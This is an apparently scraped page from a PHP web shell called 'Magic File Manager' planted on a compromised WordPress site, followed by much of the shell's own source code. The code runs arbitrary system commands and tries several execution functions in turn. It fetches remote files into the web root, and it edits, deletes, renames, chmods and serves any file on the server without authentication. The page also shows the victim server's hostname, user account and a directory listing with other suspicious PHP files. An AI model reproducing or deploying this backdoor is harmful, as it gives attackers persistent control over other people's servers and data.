โœจ Magic File Manager

๐Ÿš€ Hostinger Optimized
๐Ÿ–ฅ๏ธ Server: Apache
๐Ÿ’ป System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
๐Ÿ‘ค User: pnj6a06usxf3 (9714991)
๐Ÿ˜ PHP: 8.1.34
๐Ÿšซ Disabled: โœจ NONE

๐Ÿ’ป Terminal

๐Ÿ“ /home/pnj6a06usxf3/public_html/korwalsolars.com
$

๐Ÿ“ Create New

โฌ†๏ธ Upload File

๐Ÿ“Š Max upload: 32M | ๐Ÿ“ฆ Max POST: 128M

๐Ÿ“„ Name๐Ÿ“Š Size๐Ÿ”’ Permโšก Actions
๐Ÿ“ .tmb--drwxrwxrwx
๐Ÿ“ .well-known--drwxr-xr-x
๐Ÿ“ cgi-bin--drwxr-xr-x
๐Ÿ“ thekolwarsolar--drwxr-xr-x
๐Ÿ“ wp-admin--drwxr-xr-x
๐Ÿ“ wp-content--drwxr-xr-x
๐Ÿ“ wp-includes--drwxr-xr-x
๐Ÿ“ zwedgsehhg--drwxr-xr-x
๐Ÿ“„ error_log908.886 KB-rw-r--r--
๐Ÿ˜ index.php0.396 KB-rw-r--r--
๐Ÿ“ƒ license.txt19.437 KB-rw-r--r--
๐Ÿ˜ log.php63.893 KB-rw-r--r--
๐ŸŒ readme.html7.233 KB-rw-r--r--
๐Ÿ“ƒ robots.txt1.127 KB-rw-r--r--
๐Ÿ˜ sid3.php55.304 KB-rw-r--r--
๐Ÿ“ฆ thekolwarsolar.zip29.69 MB-rw-r--r--
๐Ÿ˜ wp-activate.php7.537 KB-rw-r--r--
๐Ÿ˜ wp-blog-header.php0.343 KB-rw-r--r--
๐Ÿ˜ wp-comments-post.php2.269 KB-rw-r--r--
๐Ÿ˜ wp-config-sample.php3.261 KB-rw-r--r--
๐Ÿ˜ wp-config.php3.54 KB-rw-r--r--
๐Ÿ˜ wp-cron.php5.485 KB-rw-r--r--
๐Ÿ˜ wp-links-opml.php2.435 KB-rw-r--r--
๐Ÿ˜ wp-load.php3.845 KB-rw-r--r--
๐Ÿ˜ wp-login.php51.305 KB-rw-r--r--
๐Ÿ˜ wp-mail.php8.522 KB-rw-r--r--
๐Ÿ˜ wp-settings.php32.375 KB-rw-r--r--
๐Ÿ˜ wp-signup.php34.259 KB-rw-r--r--
๐Ÿ˜ wp-trackback.php5.27 KB-rw-r--r--
๐Ÿ˜ xmlrpc.php3.13 KB-rw-r--r--
&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; $redirect_url = isset($_GET['path']) ? '?path=' . urlencode($_GET['path']) : ''; header("Location: " . $redirect_url); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; $_SESSION['terminal_cwd'] = $cwd; $redirect_url = isset($_GET['path']) ? '?path=' . urlencode($_GET['path']) : ''; header("Location: " . $redirect_url); exit; } } $terminal_output = isset($_SESSION['terminal_output']) ? $_SESSION['terminal_output'] : ''; $terminal_cwd = isset($_SESSION['terminal_cwd']) ? $_SESSION['terminal_cwd'] : getcwd(); unset($_SESSION['terminal_output']); // -------------------------------------------- // MIME Type Detection // -------------------------------------------- function getMimeType($file) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file); finfo_close($finfo); if ($mime !== false && $mime !== 'application/octet-stream') { return $mime; } } $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $map = [ 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', 'txt' => 'text/plain', 'log' => 'text/plain', 'xml' => 'application/xml', 'json' => 'application/json', 'sql' => 'text/plain', 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed', 'tar' => 'application/x-tar', 'gz' => 'application/gzip', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo', 'mkv' => 'video/x-matroska', 'exe' => 'application/x-msdownload', 'msi' => 'application/x-msi', 'htaccess' => 'text/plain', 'py' => 'text/x-python', 'rb' => 'text/x-ruby', 'pl' => 'text/x-perl', 'sh' => 'text/x-shellscript', 'bat' => 'text/plain', ]; return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream'; } // Serve file directly if (isset($_GET['serve']) && $_GET['serve'] == '1' && isset($_GET['fileloc'])) { $file = $_GET['fileloc']; if (file_exists($file) && is_file($file)) { $mime = isset($_GET['mime']) ? $_GET['mime'] : getMimeType($file); header('Content-Type: ' . $mime . '; charset=utf-8'); header('Content-Length: ' . filesize($file)); header('Content-Disposition: inline; filename="' . basename($file) . '"'); header('Cache-Control: public, max-age=86400'); readfile($file); exit; } else { http_response_code(404); echo 'File not found.'; exit; } } // -------------------------------------------- // Core functions // -------------------------------------------- function author() { echo '
โœจ File Manager Magic โœจ
'; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } return is_writable($lokasi) ? 'โœฆ Writable' : 'โœง Not Writable'; } function cekroot() { return is_writable($_SERVER['DOCUMENT_ROOT']) ? 'โœฆ Writable' : 'โœง Not Writable'; } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; is_dir($path) ? xrmdir($path) : unlink($path); } rmdir($dir); } function green($text) { echo '
โœฆ ' . $text . '
'; } function red($text) { echo '
โœง ' . $text . '
'; } function yellow($text) { echo '
โœฆ ' . $text . '
'; } function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '๐Ÿ˜', 'html' => '๐ŸŒ', 'css' => '๐ŸŽจ', 'js' => '๐Ÿ“œ', 'jpg' => '๐Ÿ–ผ๏ธ', 'jpeg' => '๐Ÿ–ผ๏ธ', 'png' => '๐Ÿ–ผ๏ธ', 'gif' => '๐Ÿ–ผ๏ธ', 'pdf' => '๐Ÿ“„', 'doc' => '๐Ÿ“', 'docx' => '๐Ÿ“', 'txt' => '๐Ÿ“ƒ', 'zip' => '๐Ÿ“ฆ', 'rar' => '๐Ÿ“ฆ', 'tar' => '๐Ÿ“ฆ', 'gz' => '๐Ÿ“ฆ', 'mp3' => '๐ŸŽต', 'mp4' => '๐ŸŽฌ', 'avi' => '๐ŸŽฌ', 'mkv' => '๐ŸŽฌ', 'exe' => 'โš™๏ธ', 'msi' => 'โš™๏ธ', 'sql' => '๐Ÿ—„๏ธ', 'xml' => '๐Ÿ“‹', 'json' => '๐Ÿ“‹', 'log' => '๐Ÿ“‹', 'htaccess' => 'โš™๏ธ' ]; return isset($icons[$ext]) ? $icons[$ext] : '๐Ÿ“„'; } function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '

๐Ÿ”’ Magic Permissions

'; $html .= '
'; $html .= '
๐Ÿ“ Path: ' . htmlspecialchars($path) . '
'; $html .= '
๐Ÿ“‚ Type: ' . ($is_dir ? 'Directory' : 'File') . '
'; $html .= '
๐Ÿ”’ Current: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= '
Read
Write
Execute
'; $rows = ['owner' => '๐Ÿ‘ค Owner', 'group' => '๐Ÿ‘ฅ Group', 'world' => '๐ŸŒ Public']; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $value = $perm_values[$key]; $html .= '
' . $label . '
'; $html .= '
'; $html .= '
'; $html .= '
'; } $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; return $html; } // -------------------------------------------- // HTML Output Start // -------------------------------------------- ?>

โœจ Magic File Manager

๐Ÿš€ Hostinger Optimized
โœจ NONE' : '' . $disfunc . ''; $hostinger_info = ''; if ($is_hostinger) { $hostinger_info = '
๐Ÿš€ Hostinger Optimized โ€” This file manager is specially configured for Hostinger hosting.
'; } echo '
'; echo '
๐Ÿ–ฅ๏ธ Server: ' . $_SERVER['SERVER_SOFTWARE'] . '
'; echo '
๐Ÿ’ป System: ' . php_uname() . '
'; echo '
๐Ÿ‘ค User: ' . @get_current_user() . ' (' . @getmyuid() . ')
'; echo '
๐Ÿ˜ PHP: ' . @phpversion() . '
'; echo '
๐Ÿšซ Disabled: ' . $disf . '
'; if ($is_hostinger) { echo '
๐Ÿท๏ธ Hostinger Environment
'; } echo '
'; if ($hostinger_info) echo $hostinger_info; // ============================================ // TERMINAL // ============================================ echo '
'; echo '
'; echo '

๐Ÿ’ป Terminal

'; echo '๐Ÿ“ ' . htmlspecialchars($terminal_cwd) . ''; echo '
'; if ($terminal_output) { echo '
' . htmlspecialchars($terminal_output) . '
'; } echo '
'; echo '$'; echo ''; echo ''; echo '
'; echo '
'; // ============================================ // DIRECTORY BREADCRUMB // ============================================ foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo ''; // ============================================ // CREATE FILE / FOLDER // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red('File already exists! โšก'); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green('File created successfully! ' . htmlspecialchars($_POST['new_filename']) . ' โœจ'); } else { red('Failed to create file! Check permissions. โšก'); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red('Folder already exists! โšก'); } else { if (mkdir($new_folder, 0755)) { green('Folder created successfully! ' . htmlspecialchars($_POST['new_foldername']) . ' ๐Ÿ“'); } else { red('Failed to create folder! Check permissions. โšก'); } } } } // ============================================ // CHMOD HANDLING // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green('โœจ Permissions changed for ' . $count . ' items to ' . $perm . ''); } else { yellow('โš ๏ธ Permissions changed for ' . $count . ' items, some failed.'); } } else { if (@chmod($chmod_path, $perm_octal)) { green('โœจ Permissions changed to ' . $perm . ''); } else { red('โŒ Failed to change permissions'); } } } else { red('โŒ Invalid permission format'); } } echo chmodInterface($chmod_path, $is_dir); echo '
โ† Back to Directory'; author(); } // ============================================ // UPLOAD HANDLING // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } $max_upload = ini_get('upload_max_filesize'); $max_post = ini_get('post_max_size'); if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize (' . $max_upload . ')', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red('Upload Error: ' . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable: ' . $upload_dir); } else { $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $uploaded_file['name']); $destination = $upload_dir . '/' . $filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = '
โš ๏ธ File exists! Overwriting...
Old: ' . $old_size . ' โ†’ New: ' . $new_size; } if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); green('โœ… File uploaded! ' . $overwrite_msg . '
๐Ÿ“„ ' . htmlspecialchars($filename) . '
๐Ÿ“Š ' . formatSize(filesize($destination))); } else { red('Failed to move uploaded file.'); } } } } elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red('Filename cannot be empty!'); } else { $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $_POST['namalink']); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red('Failed to fetch remote file.'); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable.'); } else { $destination = $upload_dir . '/' . $remote_filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = '
โš ๏ธ File exists! Overwriting...
Old: ' . $old_size . ' โ†’ New: ' . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); green('โœ… Remote file uploaded! ' . $overwrite_msg . '
๐Ÿ“„ ' . htmlspecialchars($remote_filename) . '
๐Ÿ“Š ' . formatSize(filesize($destination))); } else { red('Failed to save remote file.'); } } } } } else { red('No file selected.'); } } // ============================================ // EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { yellow('โ„น๏ธ No changes detected.'); } else { if (file_put_contents($file_path, $content) !== false) { green('โœ… File saved! View'); } else { red('โŒ Failed to save!'); } } } $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; $file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $is_binary = in_array($file_ext, ['jpg','jpeg','png','gif','pdf','zip','rar','exe','mp3','mp4']); echo '
'; echo '

๐Ÿ“ Editing: ' . htmlspecialchars(basename($file_path)) . '

'; echo '
'; echo '
๐Ÿ“ Path: ' . htmlspecialchars($file_path) . '
'; echo '
๐Ÿ“Š Size: ' . formatSize(filesize($file_path)) . '
'; echo '
๐Ÿ”’ Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '
'; echo '
'; if ($is_binary) { echo '
'; echo 'โš ๏ธ Binary file - cannot edit
'; echo 'View File'; echo '
'; } else { echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo ''; echo ''; echo '
'; echo '
'; } echo '
'; author(); } // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc']) && !isset($_GET['serve'])) { $file_path = $_GET['fileloc']; echo '
'; echo '

๐Ÿ“„ ' . htmlspecialchars(basename($file_path)) . '

'; echo '
'; echo '
๐Ÿ“ Path: ' . htmlspecialchars($file_path) . '
'; echo '
๐Ÿ“Š Size: ' . formatSize(filesize($file_path)) . '
'; echo '
๐Ÿ”’ Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '
'; echo '
๐Ÿ“ MIME: ' . getMimeType($file_path) . '
'; echo '
'; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg','jpeg','png','html','bmp','webp','svg']; $viewable_exts = ['php','html','htm','css','js','txt','xml','json','sql','log','shtml']; if (in_array($ext, $image_exts)) { echo '
'; echo ''; echo '
'; } elseif (in_array($ext, $viewable_exts)) { echo '
';
            echo htmlspecialchars(file_get_contents($file_path));
            echo '
'; } else { echo '
'; echo 'โš ๏ธ Binary file - cannot display inline
'; echo '๐Ÿ”ฝ View Raw'; echo '
'; } echo '
'; echo 'โ† Back'; echo '๐Ÿ“ฅ Raw'; echo 'โœ๏ธ Edit'; echo '๐Ÿ”’ Chmod'; echo '
'; echo '
'; author(); } // ============================================ // DELETE & RENAME // ============================================ if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file) && unlink($delete_file)) { green('๐Ÿ—‘๏ธ File deleted!'); } echo ''; author(); } if (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete directory!') : green('โœ… Directory deleted!'); } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete file!') : green('โœ… File deleted!'); } } if (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); $ren ? green('โœ… Renamed successfully!') : red('โŒ Failed to rename!'); } $namaawal = isset($_POST['newname']) ? $_POST['newname'] : (isset($_POST['name']) ? $_POST['name'] : ''); echo '
'; echo '

โœ๏ธ Rename

'; echo '
'; echo '
'; echo '
Current: ' . htmlspecialchars($_POST['path']) . '
'; echo '
'; echo 'New Name: '; echo ''; echo ''; echo ''; echo ' '; echo '
'; echo '
'; author(); } // ============================================ // CREATE & UPLOAD FORMS // ============================================ echo '
'; // Create Form echo '
'; echo '

๐Ÿ“ Create New

'; echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '

โฌ†๏ธ Upload File

'; echo '
'; echo '๐Ÿ“Š Max upload: ' . ini_get('upload_max_filesize') . ''; echo ' | ๐Ÿ“ฆ Max POST: ' . ini_get('post_max_size') . ''; echo '
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; // ============================================ // FILE LISTING // ============================================ echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; // Directories foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } // Files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = $size >= 1024 ? round($size/1024,2).' MB' : round($size,3).' KB'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
๐Ÿ“„ Name๐Ÿ“Š Size๐Ÿ”’ Permโšก Actions
๐Ÿ“ ' . $dir . '--' . statusnya($lokasi."/".$dir) . ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
' . getFileIcon($file) . ' ' . $file . '' . $size . '' . statusnya("$lokasi/$file") . ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; // ============================================ // STATUS FUNCTION // ============================================ function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) $ingfo = 's'; elseif (($statusnya & 0xA000) == 0xA000) $ingfo = 'l'; elseif (($statusnya & 0x8000) == 0x8000) $ingfo = '-'; elseif (($statusnya & 0x6000) == 0x6000) $ingfo = 'b'; elseif (($statusnya & 0x4000) == 0x4000) $ingfo = 'd'; elseif (($statusnya & 0x2000) == 0x2000) $ingfo = 'c'; elseif (($statusnya & 0x1000) == 0x1000) $ingfo = 'p'; else $ingfo = 'u'; $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); $color = is_writable($file) ? '#7ad03a' : '#dc3232'; return '' . $ingfo . ''; } // ============================================ // FOOTER // ============================================ echo ''; ?>